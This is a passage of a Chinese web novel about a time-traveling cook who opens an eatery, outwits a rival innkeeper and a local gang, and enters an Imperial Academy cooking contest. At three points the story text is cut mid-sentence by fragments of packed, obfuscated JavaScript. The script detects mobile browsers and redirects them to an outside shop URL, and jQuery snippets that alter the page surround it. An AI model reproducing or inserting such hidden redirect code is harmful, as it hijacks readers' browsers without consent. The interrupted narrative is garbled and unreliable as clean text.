《我在古代开食肆，治好了厌食症暴君》 2. 蜜汁鸡排 傍晚姐弟二人收拾完残局坐下休息，阿鱼拭着额头汗水，“阿姊，铺子取什么名字好？” 谢青禾眼睫低垂思索后，用手指蘸茶水在桌上写下“青云楼”三字，“取‘青云直上’的好意头，咱们铺子里国子监近，正对读书人胃口。” 阿鱼点头，立刻去后院找木头做匾，谢青禾继续做明日要卖的冬瓜汁。 等到阿鱼刨好木板，谢青禾取来木炭在上面题字，阿鱼雕刻上色，姐弟随后合力将匾额挂好，做完这一切后，二人累得倒头就睡。 次日天未亮，谢青禾就在门口柳树下支起桌子，摆上冬瓜汁。 一农妇被甜香吸引，“什么味道这般香甜？”探头一看是谢青禾，立刻满脸嫌弃，“怎么是这恶女！”便即刻推车离开。 谢青禾见状，抿紧嘴唇，明白众人对她的偏见还在。 她回屋在纸上写下“清心醒脑，助思增慧”八字，让阿鱼叫卖，这个招牌果然喊道监生的心坎上，不到晌午便售罄了。 阿鱼收摊回来，兴冲冲道：“阿姊，今晨足足赚得一两！” “可后院冬瓜所剩无几，三日内若要凑够十两，还得再寻个能卖上价的菜肴。”阿鱼忧心道。 此时系统机械音响起【初级厨师1%】 谢青禾对此也无甚感受，她早算过了，到满级厨神还需要几百万两，自己这几天为了活命，没日没夜的做活，这牛干活还得吃草呢，她每天几乎就喝点冬瓜汁，来到这里后数日不见荤腥，本就瘦削的身体更显无力，她现在特别想吃k家的蜜汁鸡排！ 于是当下就带着刚赚的银子准备去城西鸡舍赌场大的，决定下道菜就做蜜汁鸡排！ 晌午谢青禾阿鱼二人拎着十几只已放过血的鸡回到食肆，匆匆啃完馕饼后，便一头扎进后厨处理鸡肉。 阿鱼奋力拔毛，将内脏取出准备一同扔掉，“阿鱼，内脏留着。”谢青禾忙道，阿鱼虽不解，但仍照做。 谢青禾将处理好的鸡肉用刀背敲打，使得肉质松散，更易入味，随后放入盆中，加入盐、姜片、葱段等调料抓拌均匀，腌制片刻使其入味，趁这会功夫，将鸡蛋打散并加入面粉搅拌成糊状。 将腌制好的鸡肉裹上面糊，起锅烧油，等到油冒泡时放入鸡肉炸制金黄色，捞出控油，到这步已完成大半，但蜜汁鸡排的精髓是最后一步蜜汁的制作，谢青禾取来蜂蜜，将其和少量清水调匀后加热至微沸，均匀淋在炸好的鸡排上即刻，屋内顿时散发满满馨香。 申时将近，日头西斜，谢青禾烹制出满满一桌的蜜汁鸡排，她决定这次带上面衣同阿鱼一起叫卖。 姐弟二人将卤货与金黄油亮的鸡排刚摆开，立刻有人惊呼“啊呀，这家店铺卖的什么？味道竟这般勾人！”摊子瞬间被围住。 人群外，一位身着湛蓝华服、腰佩环玉的男子路过，也被这奇香绊住了脚步，不禁上前查看，只觉那金黄鸡肉散发出胡椒的辛麻与蜂蜜的甜腻糅合出令人难以抗拒的欲望，苍白的面庞上涌出一丝讶异，冷峻的面庞看向身旁小厮，“买一份。” 身旁小厮微微俯身，“遵命，圣上。” 傍晚散学时分，监生们口耳相传，皆知钱庄巷新开的“青云楼”菜肴新奇、味道更是鲜美，于是便都一道前去品鲜。 学子们刚走到半街，便闻到一股甜香与肉香交织的诱人气味，一天的烦闷顿消，纷纷撒腿奔向青云楼，生怕去晚了占不到位子。 对街“集贤楼”掌柜赵二虎站在门口揪着脸上的痦子，心里直犯嘀咕：集贤楼在京城可是鼎鼎有名的大酒楼，平日里达官显贵每日都要将门槛踏破，今日怎的不见一点人影呢？ 纳闷之际，呼呼啦啦一大群穿着浅青衣襟的学子向钱庄巷涌去，险些撞翻他的招牌，赵二虎揪过来一个小二，“你去看看钱庄巷那边可是走水了？” 小二隔着人群张望，终于窥见一带着面衣的素丽女子，掌着大勺搅拌锅中卤肉，周围人个个眼馋的直流口水，他急忙跑回去，“掌柜的，不是走水了，是有人要抢咱们生意！” 赵二虎瞪眼，“哪家酒楼？竟能抢了集贤楼的生意！” 小二道：“只是一家名叫青云楼的破食肆，店家居然是那个‘邕州第一恶女’谢青禾。” 赵二虎眼珠一转，想起几日前那桩在京城内外闹得沸沸扬扬的谢家庶女丑闻，肥胖的身躯在门口踱来踱去，嘴角咧开一丝冷笑，“哼，这下好办了。” * 这边钱庄巷内青云楼前，屋内屋外坐满食客，鸡排配酒，好不快活。 天气炎热，谢青禾汗水早已浸透面衣。 赵二虎瞅准时机，三步一晃的走过来，看到以往自己的食客都聚集在此，口中不免阴阳怪气高声嚷道：“呦，这不是邕州谢老爷家的二小姐吗？怎的屈尊在此做庖厨了？” 邕州与京城毗邻，外加谢家嫡女与文王联姻，谢家家事早已被传得沸沸扬扬、人尽皆知，此话一出，食客纷纷抬头，目光齐刷刷投向那个一直戴着面衣的女子。 赵二虎晃悠着上前，一把扯下谢青禾脸上的面衣，“大热天戴这劳什子作甚？摘了凉快！”一张瓷嫩白净的脸顿时暴露在众人面前。 “嚯，还真是谢家二小姐，前几日我还在谢家吃席见过。”人群中有人嚷道。 附近几家眼红青云楼生意的商户趁机煽风点火，“在邕州做出那等败坏门风的事，如今竟敢在皇城脚下开食肆，心思如此歹毒，她做的东西谁敢吃啊？” “就是就是！”附和声四起，食客见状，纷纷停著，面面相觑。 赵二虎见火候已到，添油加醋道：“这小娘子连自己嫡姐都敢下药，谁能保证这肉里没放迷魂药？” 众人听后感觉十分有理，便纷纷准备离席结账。 阿鱼早已低声告知谢青禾关于赵二虎的底细，知道自己这是抢了他的生意，但做生意向来凭本事说话，谢青禾才不管那么多。 她站在众人中间，语气铿锵有力，“今早的冬瓜汁也是我家所出，一日下来，大家可曾听闻谁身体不适？” 人群中有人微微点头附议，谢青禾莞尔一笑，“若大家仍心有疑虑，今日这餐权当小店请客，分文不取！若觉滋味尚可，明日再来，买一斤鸡排送半斤卤肉，如何？” 食客们听到有免费晚饭，哪里还顾得上流言蜚语，都纷纷叫好应和。 赵二虎见自己一番算计转眼成空，狠狠瞪了谢青禾一眼后悻悻离去。 ＊ 城西鸡舍。 李老看着鸡舍中二三十只双眼通红、腿脚打颤的成鸡愁得直叹气，这鸡染上鸡瘟，若现在直接埋掉又得损失约一贯银钱。 他呼出一口浊气，“还是先治下看能否好转吧。”说罢，便抬起颤巍巍的手，抓起一把碾碎的绿豆，刚准备撒下去，却见魁梧的赵二虎大步流星的向这边走来。 “李老，我刚看见墙角那里二三十只鸡怎么都双眼通红、行走不稳啊？好似得了病一样啊……”赵二虎脸上带着坏笑。 李老笑脸相迎，听到这话后，脸上登时煞白，刚想反驳，只见一个面部裹着厚厚面衣的老妪提着一篮磨碎的绿豆缓缓走向那个角落。 赵二虎更加确定心中的猜测，他附在李老耳旁，“绿豆清热解毒，那些鸡是得了鸡瘟了吧。” 李老听到后，双腿发软，那些鸡本想偷偷治好，但现在被赵二虎发现，恐这个奸商到处乱说，坏了鸡场名声，忙道：“哪里的话，这鸡依鄙人看只是寻常积食导致的食欲不振而已，若真如您说的那样，我立刻就解决这些祸患！” 赵二虎不免嗤笑，“李老，这鸡的模样您就不要再辩解了吧，到底如何你我心知肚明。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125737|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他看出李老神色慌张，接着道：“这事我可暂且按下，只是需要您同我做个交易，如何？” * 次日清晨，阿鱼见谢青禾未醒来，便想让她多休息一会，买鸡这种力气活，自己就能完成。 一刻钟后，阿鱼推车回来。 谢青禾听到动静后来到后院，只见满满一车鸡，“阿鱼咱们哪来的钱买这么多鸡？” 阿鱼高兴道：“李铺鸡舍老板说这些鸡因积食撑死，遂便宜卖我了。” 说着准备将其搬进后厨，但阿鱼无意间碰到鸡眼，谢青禾发现鸡眼通红，于是快步上前快速翻阅车上的死鸡，竟全是瘟鸡！ 未等反应，赵二虎带着一堆群人堵在门口，高声嚷道：“好哇！原来那批瘟鸡在这呢！昨日还狡辩饭菜干净，今日就敢卖瘟鸡害人，不愧是邕州第一恶女！”众人闻言，纷纷捂住口鼻不断后退，仿佛整个青云楼是个不祥之地。 赵二虎来得如此恰巧，外加刚才阿鱼所描述的李老言辞，谢青禾明白这是被人蒙骗了。 她怒视赵二虎，“若非你与李老串通，这瘟鸡又怎会到我手上？分明是栽赃陷害！” 此刻一切解释都是徒劳，众人不再相信，纷纷捂着口鼻逃也似的离开。 * 萧蘅昨日鬼使神差般吃完从青云楼买来的鸡排，困扰许久的厌食症竟毫无反应，那里的饭食简直就是他的解药，今日本想再次品尝，谁知还没进门，就看到刚才那一幕。 萧蘅恼火，回宫后便传唤大理寺卿尹昉，要求严令彻查“青云楼瘟鸡”一案，尹昉记得上午确有此案来报，眼下圣上亲自过问，想必十分紧急，于是当天就将赵二虎、李老等人拘来审问。 赵二虎和鸡舍李老被府衙官员一通问询，吓得魂飞魄散，很快便认罪了。 旋即告示板上贴出：集贤楼赵二虎、李铺鸡舍老板合谋售卖瘟鸡予青云楼，隐瞒实情，各领三十大板、瘟鸡即刻销毁。 消息传回钱庄巷，众人感慨，能让京城第一大酒楼集贤楼老板吃瘪，这谢青禾当真不简单。 经此事后，青云楼虽洗清污名，但大家还是对谢青禾“邕州第一恶女”的名声心有芥蒂，生意到底受了些影响。 对街的集贤楼亦是门可罗雀，赵二虎心中憋闷：这谢青禾三番两次抢生意，这次还害得自己酒楼名声扫地，他就恨得牙痒痒，但转念一想，青云楼鸡排味如此受欢迎，若将这门手艺学过来，也能杀下青云楼的威风。 次日，青云楼虽打出“买一斤送半斤”的招牌，可一上午也只零星来了几个客人，姐弟二人正犯愁，谁知那赵二虎竟踱步进来。 阿鱼现在看到他火就不打一处来，挺着胸脯握紧拳头就扑上前。 赵二虎眯着眼，堆起一脸假笑道：“谢老板昨日那批瘟鸡，可是李老告诉我，是你们买走的，我是怕你初来乍到被人骗了，赶紧来知会一声呐。”这番颠倒黑白的说辞让谢青禾见识到什么是厚颜无耻。 赵二虎又示意小厮奉上几盒精致点心，“我是真心佩服小娘子你的手艺，短短时日便能打响名号，这是一点薄礼，不成敬意，还望以后能相互照应。” 这番言语虚伪至极，听得姐弟二人心中火起，阿鱼忍无可忍一把夺过食盒直接扔出大门。 赵二虎脸上肥肉一抽，强压怒火，仍赔笑道：“谢老板看不上这点东西，我懂，今日登门，实是诚心拜师学艺，还望您给个机会。” 说罢，他赵冲身后小厮使眼色，那小厮立刻“噗通”跪倒在谢青禾面前，“师傅，还望您赐教。” 谢青禾知道二人心中打的哪门子算盘，不过是想偷师学艺罢了，反正店内已被这赵二虎搅合的做不成生意，不妨狠狠宰他一顿，以除心中怒火。 谢青禾轻飘飘道：“好啊，一日十两学艺钱，当日缴清，学吗？” 3. 拜师学艺 “学！”张二虎咬牙应下。 十两不过是集贤楼几个时辰流水，但若十天半月的学，这价格可不算便宜，赵二虎深知谢青禾是在故意刁难，但为了秘方，他认了！ 谢青禾知道赵二虎留下的这个小厮主要想学鸡排秘方，自己也只是为了尽早赚得十两去应付那黑虎帮，现如今银子到手，青云楼与集贤楼又是竞争关系，她又何必交出自己的秘方呢？ 因此她只想尽早将其打发走，免得妨碍她做生意，于是接下来一整天，她只让那厨子不停地拔鸡毛、洗鸡肉。 次日，黑虎帮如期而至上门索要平安钱，谢青禾便交出昨日赵二虎给的那十两银子，几人又在店痛饮一番后，东倒西歪的走了。 这桩事烦心事解决后，谢青禾看着仍在做杂活的大厨，心想这人够忍辱负重，但为了能顺利开展自己的生意，还是要尽早将他打发走。 如此耗了几日，集贤楼银子也花了数十两，谢青禾终于开始制作蜜汁鸡排，她唤来那小厮，“我只做一遍，成不成在你。” 小厮精神一振，连连点头。 谢青禾多年下厨经验，每样食材都了熟于心，这鸡肉若用刀背逆着纤维方向垂直敲打，定会破坏纤维结构，使得肉质变柴。蜜汁的调制可将蜂蜜替换成白糖，并加入番茄汁熬煮。 这样做出的鸡排卖相与几日前的毫无二致，但味道必定一言难尽。 那小厮正想品尝，阿鱼赶忙喊道：“诶，你拔的鸡毛能扫下吗，都飞到客人碗里了！”谢青禾瞥了他一眼后，大厨讪笑着赶忙去收拾。 小厮离开后，她又按照最初的做法，顺着鸡肉纤维敲打这样更好入味，最后淋上加热后的蜂蜜糖汁，这样做出来才会外酥里嫩、甜香四溢。 小厮收拾完回来，见鸡排仍摆在桌上，于是他试吃了一块，味道确实不错，心想这道菜竟如此简单，只是做法新奇罢了，次日便信心满满地告辞而去。 * 几日后，赵二虎凶神恶煞地闯进青云楼，进门便喊，“谢青禾你这个婆娘竟敢骗我？把那五十两现银给我吐出来！” 谢青禾缓缓从里间走出，神色自若，“我骗你什么了？” “你这婆娘教的什么鬼东西，做出来的鸡排又酸又柴，客人吃了都说味道和这里比是天差地别！”赵二虎粗犷的嗓门震的屋子都有些晃动。 谢青禾镇定自若，眼睛弯成月牙，甜甜的酒窝挂在唇边，“个人天赋不同，做出的味道又怎能保证一致呢？” 赵二虎被这泼皮娘子气得发抖，为了这道蜜汁鸡排，他耗费成本将近百两事小，关键酒楼口碑名声有损，这可不是十天半月能弥补回来的，而造成这一切的人就是这个谢青禾！ 他愤怒至极，伸手就要打谢青禾。 此时，黑虎帮从里间出现，刀疤壮汉迅速钳住赵二虎的手腕，反向一拧，狞笑道：“怎的，让你家大厨伺候我们爷几个几天饭食就这么不愿意？” 赵二虎一见是黑虎帮，气势顿时消减大半。 谢青禾看着他窘迫的样子，好心解释道：“您那位大厨这几日做的饭食都进了这三位爷的肚子，要银子，找他们便是。” 赵二虎瞅着黑虎帮凶神恶煞的脸，半天愣是没说出一个字，最终在疤哥的逼视下，承诺再也不找事后，便恹恹地走了。 ＊ 大理寺少卿尹昉心中着实好奇，青云楼到底是有何等美食，今日下朝圣上还特意问及“瘟鸡案”后续。 尹昉恭敬回禀，“回皇上，此案当日便已查明，青云楼确系遭人构陷，涉事者已受惩处。”当今圣上萧蘅与他年纪相仿，皆过弱冠，在这深宫中，尹昉办事妥帖，深得龙心。 萧蘅转动僵硬的脖颈，眉宇间惯有的阴郁挥之不去，一双丹凤眼冷冷扫过尹昉，现下心中极其想吃青云楼的饭食，开口道：“换便服，随朕去趟青云楼。” 青云楼近来虽有黑虎帮“照应”，无人敢随意骚扰，但“邕州第一恶女”的名号仍牢牢扣在她头上，生意依旧冷清，谢青禾正思忖如何打破这个局面，阿鱼突然跑来，气喘吁吁道：“阿姊，大单！大理寺尹大人同他朋友来了。” 阿鱼前几日刚去大理寺走一遭，认得尹昉不意外，但自己这偏僻小店如何就惊动大理寺卿亲至？ 细细想来，店内庖厨有序、食材洁净，未有不妥，遂静心准备菜肴。 不多时，金黄油亮的鸡排、清凉甘甜的冬瓜汁，一一端了上来。 萧蘅未等品尝单闻这味道，那久违的食欲竟被生生勾起，他提箸品尝，心中烦闷顿时烟消云散，紧蹙的眉头也舒展开来，尹昉尝后亦暗自点头，承认这里菜品滋味非凡，难怪能入圣眼。 就在二人安静享用美食之际，黑虎帮大摇大摆地走进来，他们自认替谢青禾摆平赵二虎有功于店，近日便频频来打牙祭。 谢青禾照例奉上酒菜，三人风卷残云大吃大喝一番后，打着酒嗝抬腿欲走。 “疤哥，还未结饭钱呢？”谢青禾这次没有隐忍，故意当着大理寺卿尹昉的面让三人给饭钱。 三人皆是一愣，刀疤脸带着酒气率先开口，“我们爷三还用给饭钱？要不是我们罩着，你这破店早让人砸了。” 尹昉观察半天，神色不由变得严肃，冷叱道：“胡闹！岂有吃白食的道理？” 黑虎帮满脸酒气，大喇着舌头，“你他妈是谁……啊！”未等刀疤脸说完，尹昉身后的便衣护卫便将其踹翻在地。 “我乃大理寺少卿尹昉，你们污蔑官员欺压平民，现押入大牢，听候发落。”尹昉厉声道。 三人这时才反应过来，这谢青禾利用官员在场，故意炸他们，“谢青禾你毒妇，活该你被赶出家门……” 待萧蘅与尹昉离开后，商户们纷纷围上前来冲谢青禾竖大拇哥。 “谢娘子，好样的，替咱们钱庄巷除了一大害啊！” “简直就是咱们钱庄巷的救星、女中豪杰！” * 自那日借大理寺卿之手，将黑虎帮铲除后，钱庄巷的街坊们看谢青禾的眼神由之前的厌恶到现在的敬佩，青云楼也因此生意日渐红火，每日食客盈门，二人常常忙至深夜，虽有辛劳，但心中却感觉很满足。 这日，阿鱼照常去城东集市购买西域胡商的胡椒粉。 “没有了。”西域胡商操着一口不标准的汉语道。 阿鱼再三确认下，得知他们的商队被马匪劫持，货物尽失，短期内无法补货。 谢青禾得知此事后心下一沉，没有胡椒粉，那蜜汁鸡排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125738|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的味道将会大打折扣，食客的味蕾也已被养刁，若菜肴味道下滑，自己好不容易积攒的口碑恐会下滑。 眼下自己这边胡椒所剩不多，只够勉强撑过今日，若等那西域胡商补货无异于坐以待毙。 情急之下，谢青禾突然想到在现代还有一味调料——番茄酱，也是大受欢迎！ 她买来番茄，洗净后让阿鱼用石杵撵碎成泥，倒入锅中文火慢熬，此时屋内就已散发出阵阵酸甜的气味，但为了酱汁味道更加浓郁醇厚，又加入苹果泥和洋葱丝，最后放入糖、盐调味即可。 谢青禾拿勺子尝了一口，酸甜可口，就算蘸鞋垫都好吃。 傍晚她将胡椒、番茄两种口味一同推出，食客看到红红的番茄酱，顿感新奇，争相品尝，接下来几天人们都沉浸这种酸甜口味中，甚至吸引来了更多新客。 * 这日，食肆来了一位身着深蓝斜襟长褂、精神瞿铄的老者。 那老者声音沉稳有力，“听闻贵店新出的番茄蜜汁鸡风味独特，烦请来一份，外加一碗冬瓜汁。” 谢青禾应下，烹制后端给老者，只见他慢条斯理细细品尝，吃完后，他将一张红笺递给谢青禾，“老夫乃国子监祭酒，此番是为国子监选定庖厨供餐一事而来，这张红笺乃比试凭信，三日后可持此笺前往国子监参与竞夺。” 系统冰冷的机械音响起，【三日后您拿下国子监的供餐权，届时数值可增长50%】 谢青禾听到系统的话神情一动，若能顺利拿下国子监餐供的生意，必定能的不少银子，只是这京城中高手云集，她一个初出茅庐的小脚店如何同京城八大正店与之抗衡。 转念一想，自己在现世也曾拿过厨神奖，不管中的西的她都能做，只是来到这里食材、厨具有些受限罢了，但是现代烹饪也是由古代不断演变而来的，届时她可稍作变换即可，于是当下有了信心，自己定能拿下这笔生意！ 国子监开始外招餐供的消息不胫而走，很快整个京城餐馆都得到了这个消息，一时间，名家云集、群雄逐鹿，争相报名，谁都不肯放过这块肥肉。 根基深厚、名厨汇聚的集贤楼自然也要前去争夺一番，掌柜赵二虎一番打听后，得知青云楼也要参赛，内心不禁嗤笑，一个弱不禁风的小娘子还想和数百位名厨争锋，简直是痴心妄想！ 他按捺不住内心的狂妄，带着一帮小厮，假装不经意路过青云楼，不屑地喊道：“哎呦，看这寒酸的，整个破食肆拢共两个人，看看那厨具简直是一堆破铜烂铁，还肖想给国子监的贵人子弟供餐，别给人吃中毒了。”身后的小厮立刻轰然爆笑。 谢青禾闻声出来，站在门口，神色沉静，“哦？上月赵掌柜不是还自认集贤楼厨艺尚缺，便遣了贵店小厮来此‘学艺’吗？” “呸，那是老子可怜你，赏你个下人用！”赵二虎登时闹了个大红脸。 “哦？”谢青禾忍不住笑，“那五十两‘束脩’也是赵掌柜可怜我，白赏的？” 赵二虎吃瘪，脸上肥肉抖动，恼羞成怒地甩袖，“哼，牙尖嘴利，三天后且看我集贤楼如何吊打你们这草台班子！”说罢，他扭着满身肥肉故作高傲地离开。 谢青禾冲他肥硕的背影道：“三日后，谁吊打谁还不一定呢。” 4. 做麻辣烫 三日后，国子监餐供比试正式拉开帷幕。 国子监的学子皆是官家子弟，自小是娇生惯养锦衣玉食养大的，家中让这些金贵的主来此读书无非是让他们认得几个字将来不败坏门楣罢了，因此他们在吃穿上格外讲究。 当天城门正一道的国子监门口被锦幕珠帘所装饰的马车、王宫贵胄成群的随身仆从，围堵的水泄不通。 所来车马皆是来为自家王孙公子把握供餐水准的，当然也有别有用心安排自家亲戚来拿下餐供这块肥肉的。 “让开！都让开！没看到文王府的马车吗！”一身穿藕荷色对襟，梳着双耳髻的丫鬟尖声喊道。 旁人看了自是纷纷退让，畏的当然不是那丫头的凶，自是她背后的主子文王萧岐。 文王萧岐身份尊贵，是当今圣上的亲叔叔，其子萧瑜自是仗着自己家世显赫在京城中耀武扬威，在国子监中逞凶斗狠、恃强凌弱谁也不放在眼里，院中夫子也是对其睁只眼闭只眼，不能直接说教些什么。 随着侍从拨开重重幕帘，只见一双刺金蟒靴缓缓从中踏出，深蓝补服上绣玄青行龙，青丝白发用一顶金丝镶白玉冠绾起，面白微须，泛青的嘴角惯性下撇，平添几分刻薄狠厉，年岁约莫四十左右，早已过了不惑之年，整张脸威严却带着难以忽略的阴沉。 此人正是当今圣上的皇叔，文王萧岐。 “何事喧哗？”声音适中，带着中年人的些许沙哑语调冷硬平直，听后让人后脊发凉。 那丫鬟如实告知后，文王喉中发出不易听到的冷哼，有些松弛的眼皮掀开，悠然的环顾四周。 入目所及之处，其余官家车马皆纷纷退让，唯有一马车仍在原处。 那马车好似哪个州县小官的，但细细一看却发现，车辙全用暗沉却光耀的锦布包裹，车厢门帘却有暗绣龙纹。 萧岐心中有些疑惑，他这皇帝侄儿性格冷清一向不爱过问杂事，况且又无子嗣在国子监就学，又极其恶食，怎的今日来国子监，总不能是对其餐供之事有兴趣。 ＊ 谢青禾早已在门外等候多时，终于在巳时，国子监门口出来一穿长衫的模样儒雅的老者，“各家名厨可持红笺凭信入场，场地在后厨庭院内，进去有人接应。” 话音落毕，谢青禾拭干额上的汗，正准备提起放有菜品、厨具、调味品的食盒进去，突然身后至少十几个肌肉遒劲的壮汉厨子都提着食盒向里面涌，不进反退，又将她挤到百米开外。 谢青禾心中有点着急，按照这样的秩序，自己又挤不过这些彪形大汉，什么时候才能进去？ 阿鱼见姐姐步伐不稳，于是赶忙伸出左手让谢青禾有所依靠，另一只手提着包裹伸在前面，以防有人碰到她。 谢青禾见此情形，知道自己若与这行人骈进，自己力气肯定争不过他们。 于是她找块阴凉地方暂且休息，准备等人流稀少后再进去。 她坐在那里静静等候，白嫩细长的手腕在她不经意煽风驱热间从浅绿色长袖中悄然滑落，像一支傲然挺立的荷叶，沉静且美丽。 约莫半柱香后，谢青禾觉得面前的人怎么还这么多，心中嘀咕道：就算全城庖厨都来了，现下钟头也应该进的七七八八了，怎的面前依然人潮涌动？ 她将放空的思绪收回，一双杏眼微微看向前方，只见那道人墙中，一开始有五六个人就在侧目观察自己的反应，却在她目光看过来的一瞬间赶忙躲避！ 不对劲！ 谢青禾登时站起身来向人群中走去。 那群人见谢青禾过来，于是显得更加繁忙拥挤起来，好似在特意演戏给谢青禾看。 人群中躁动特别厉害的那几人，谢青禾总觉在哪里见过，细细打量一番发现这几个人正是前几日集贤楼派来偷师学艺的那小厮和黑虎帮的那三个壮汉！ 那小厮还向众人使眼色，于是那群人更卖力地表演起来。 谢青禾一下气笑了，集贤楼这是害怕自己抢了风头，所以来耍这种阴招。 就在谢青禾准备拼力挤进去的时候，突然有人拍了拍她的肩膀。 谢青禾才不管当前谁来找她，她只知道自己在晚一刻钟就再也别想进去了！ 身后这人突然发声，“谢青禾。”娇媚的语调中带上一丝不屑，“让开！” 这娇媚又带着寸劲的声音让所有人都安静下来，被唤名字的谢青禾这次自然也转了头，面前这女子，端的是小家碧玉模样，面容姣好。 谢青禾跟人争夺一番后，虽然衣着稍显凌乱，但一双杏眼饱含万千柔情，细碎的刘海微微拂动她弯翘的睫羽，尽管一身素丽，也比面前精心妆扮的女子夺目。 谢青禾脑海中撷取到面前女子正是原身嫡姐谢婉儿。 此时谢婉儿正站在文王萧岐身边，一副温婉动人、百依百顺的模样。 只有谢青禾知道这女子内心有多么善妒。 这些人看到文王后纷纷让路，谢婉儿依偎在那中年男子身边，目光扫过谢青禾时，那双眼睛像看见脏污一样，眼睛微翻，嘴角微微下撇漏出一丝上位者的嘲讽。 谢青禾不用想也知道，谢婉儿认为自己已是文王的侍妾，自此后就和皇家有了关联。 可区区一个侍妾哪能是那么好做的，文王可是除了正房还有八房家世不俗的妾室，谢婉儿这个商户女，在其中还不是得伏小做低好生伺候着。 谢婉儿骄傲的好似雀鸟，亦步亦趋的跟在文王后面，正当他们路过谢青禾时，文王突然停了下来。 谢婉儿心中警铃大作，一周前那场订婚宴带给她的阴影又再次重现。 文王已过不惑之年，这次见到谢青禾却觉得她稍有姿色的容颜又增添了几分生机与活力，让人忍不住接近。 “你……最近如何？”文王虽中间停顿了下，但声音还是一往如常的严肃，却又隐约让人感觉好似有丝迁就对方的意思。 谢青禾左右看了下，发现文王是在和自己说话，心中异常惊讶，却又一时摸不透对方的意思。 她目前最担心的就是误了比试时辰，看着面前因文王而敞开的宽阔大道，她很想抬腿就走。 周围一众探寻的眼神，纷纷不解，这邕洲第一恶女谢青禾何时引起文王对其侧目？ “近来一切都好，小女子现下有事，改日再聊。”说完不等文王回复，谢青禾就不费力气溜进国子监内。 ＊ 谢青禾来到后厨庭院，门口有一仆役伸手就要夺下她们携带的行囊。 阿鱼和那仆役一人扯一边，谁也不让谁。 仆役吼道：“谁家混犊子，比赛规定，不论谁都要用国子监统一提供的厨具！” 谢青禾听到后拍拍阿鱼的肩膀示意他就此作罢。 因为进来的时辰已经临近闭门，所以二人只得在最后一张桌子。 谢青禾放眼望去发现加上自己总共有二十多家参与此次竞争。 随着铜锣“咚”的一声，总考官宣布此次比试共三轮，若有比分相同者，则有加时赛。 评审即是台上国子监五位大厨、台下报名参与此次餐供评审的学子、尊亲约有二十人。 大多厨师经常在后厨拎锅颠勺，终日与后厨的伙计打交道，哪见过这种阵势，况且这些评审大多还是学子在朝为官的长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125739|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲，心中不免有些恛惶。 谢青禾自是不怕，自己大大小小厨艺比赛参与过几十场，这种场面她早已习惯。 就在别人还焦虑的时刻，谢青禾已经开始检查桌上的食材、厨具。 赛制规定第一场根据优等票数，前十名者可晋级。 国子监内的学子大多是束发之年，在现世这些孩子每次放学后，小吃街上生意最红火的就是那家麻辣烫。 当下谢青禾就查看桌上制作麻辣烫所需要的食材是否齐全。 白糖、食盐、豉油、桂皮、八角、花椒、大蒜、辣椒、海带、芫荽、麻酱…… 盘点后，谢青禾发现自己缺少白芝麻和各类丸子。 国子监只提供必备调味品、常见食材，对于谢青禾想做的麻辣烫，显然是不够的。 别家厨师显然也发现这个问题，于是负责秩序的官员将大家的意见传达给二楼碧色纱帘后的那位主考官。 一会功夫，这名官员宣布大家可由桌旁的监管小厮代买自然食材。 但自己缺少的白芝麻、各类丸子估计这里压根没有。 她想到了系统，传唤出来后问道：“我可以借点白芝麻吗？” 【根据核实，您现在厨艺等级可使用白芝麻一两】 哇哦，谢青禾顿时欣喜不已，这系统也不是那么一无是处。 为了节约时间，谢青禾再次询问可否借些S全家的各色丸子。 【当前核实您的权限只可使用普通厨具、调味品，暂无权利使用食材，但您可以购买】 谢青禾询问价格后发现四两银子可买四斤，算了算价格发现很合理，于是采买了八斤。 所有食材准备妥当后，谢青禾将鸡切块熬制高汤，接着将另一口锅烧热，放入少许油，等油热至冒泡后再放入姜片、蒜瓣，翻炒至爆香。 鸡汤熬制泛白后，骨香四溢，谢青禾拿出勺子撇掉表层油脂后，放入切好的葱段、八角、香叶提香，再加入盐、豉油、少许白糖提鲜。 谢青禾拿起勺子抿上一口，把握口味是否有偏差，阿鱼也跟着喝上一口，发现味道极其鲜美，同样的食材，却制作出异常新奇的口味！ 接下来，谢青禾拿出各色丸子，放入高汤中炖煮半柱香的时间。 趁这会时间谢青禾揉面，准备制作油条代替面筋。 接着在面中加入鸡蛋保证口感细腻、后再加入碱面保证油条蓬松暄软。 做完这些后，她先让阿鱼热油，自己在一旁将面团压平，切成均等分长条。 将两条均等分长条叠压在一起，用筷子在中间压实。 此时，油已沸腾，谢青禾将切好的长条放至锅中，碱面的香气被炸出，顿时香气四溢。 谢青禾没有将油条炸至十成熟，到八分时，她就将其捞出，这个时候油条硬实，表层劲道不干脆，非常适合泡饭！ 丸子炖煮好后，谢青禾将火调小，为其保温。 麻辣烫最关键的一步就是调制蘸料。 